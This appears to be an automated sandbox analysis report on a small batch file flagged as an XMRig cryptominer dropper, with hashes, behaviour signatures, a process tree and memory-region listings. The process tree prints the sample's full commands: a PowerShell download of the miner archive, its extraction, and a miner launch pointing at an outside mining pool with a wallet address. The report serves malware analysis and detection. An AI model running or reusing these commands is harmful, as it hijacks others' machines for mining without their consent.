Resubmissions

Analysis

  • max time kernel
    1794s
  • max time network
    1810s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24-01-2024 05:05

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3892
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4488

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6cb8dec7cb20c6227f9e6b8658f2523

    SHA1

    65322fa96a2f7a6490857c6cfbf3245efcde4162

    SHA256

    1a6d460510aa0f35a285262e58fe1d98fa5bcd83c85305d5909483771a858601

    SHA512

    db039740c31b0c620919a636410dff38944a28a0ff509f0cdca36ee3bce1ab07b6d1b6dd4d5df93971a9431150e2219c6fcf0c46b1e23ff2f4dff06c6866067d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4cliehh.u3y.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    478KB

    MD5

    f9df6ecd7c3f47bf231b584a0b749e60

    SHA1

    a126abd2a104556a4f0985ed1eb71af314fb9cd7

    SHA256

    a598bcf8a475e93521a9e177eb6a0167524d9b6d98583354bc0b24e7d0fcec04

    SHA512

    34cc4771ea6bee814a6763551c8ece3cd7f0535f83d92e08b8bb413b21d01d0081633de82e4a02789753b909be8a90186e8cb699ad45ae8b37fa41f88f92ec10

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    231KB

    MD5

    a4cd69018407f26d99a288d3824b527f

    SHA1

    6b9ef0c6055971fcb2190fb95ead4e1f012b1430

    SHA256

    8f81eb0b6720af61d09f318735b4d16541506df9d5e45b03e94cf3fff7f5b0a3

    SHA512

    30adbd8afd0fe0c4821b7d4b1b2717e7bf2d0eb509d2d0299a6eca550a717279730a39f8369c4e463b68d0f061e6895d3e2b75a44caec63f6c61456ae11c0f72

  • memory/316-4-0x000001C6E8C00000-0x000001C6E8C22000-memory.dmp

    Filesize

    136KB

  • memory/316-7-0x00007FFF516F0000-0x00007FFF520DC000-memory.dmp

    Filesize

    9.9MB

  • memory/316-10-0x000001C6E8EE0000-0x000001C6E8F56000-memory.dmp

    Filesize

    472KB

  • memory/316-9-0x000001C6E8C50000-0x000001C6E8C60000-memory.dmp

    Filesize

    64KB

  • memory/316-8-0x000001C6E8C50000-0x000001C6E8C60000-memory.dmp

    Filesize

    64KB

  • memory/316-25-0x000001C6E8C50000-0x000001C6E8C60000-memory.dmp

    Filesize

    64KB

  • memory/316-30-0x00007FFF516F0000-0x00007FFF520DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3892-36-0x00007FFF516F0000-0x00007FFF520DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3892-39-0x000001CBA6F80000-0x000001CBA6F90000-memory.dmp

    Filesize

    64KB

  • memory/3892-38-0x000001CBA6F80000-0x000001CBA6F90000-memory.dmp

    Filesize

    64KB

  • memory/3892-62-0x000001CBA6F80000-0x000001CBA6F90000-memory.dmp

    Filesize

    64KB

  • memory/3892-76-0x000001CBA7290000-0x000001CBA72A2000-memory.dmp

    Filesize

    72KB

  • memory/3892-89-0x000001CBA70F0000-0x000001CBA70FA000-memory.dmp

    Filesize

    40KB

  • memory/3892-113-0x00007FFF516F0000-0x00007FFF520DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4488-141-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-151-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-118-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-119-0x00000203BC390000-0x00000203BC3B0000-memory.dmp

    Filesize

    128KB

  • memory/4488-120-0x00000203BDBA0000-0x00000203BDBC0000-memory.dmp

    Filesize

    128KB

  • memory/4488-121-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-122-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-123-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-125-0x00000203BDBA0000-0x00000203BDBC0000-memory.dmp

    Filesize

    128KB

  • memory/4488-124-0x00000203BC390000-0x00000203BC3B0000-memory.dmp

    Filesize

    128KB

  • memory/4488-126-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-127-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-128-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-129-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-130-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-131-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-132-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-133-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-134-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-135-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-136-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-137-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-138-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-139-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-140-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-116-0x00000203BC340000-0x00000203BC360000-memory.dmp

    Filesize

    128KB

  • memory/4488-142-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-143-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-144-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-145-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-146-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-147-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-148-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-149-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-150-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-117-0x00000203BDB60000-0x00000203BDBA0000-memory.dmp

    Filesize

    256KB

  • memory/4488-152-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-153-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-154-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-155-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-156-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-157-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-158-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-159-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-160-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-161-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-162-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-163-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-164-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-165-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-166-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-167-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-168-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-169-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-170-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-171-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-172-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-173-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-174-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-175-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-176-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-177-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-178-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-179-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-180-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-181-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-182-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-183-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB

  • memory/4488-184-0x00007FF7D9410000-0x00007FF7D9F13000-memory.dmp

    Filesize

    11.0MB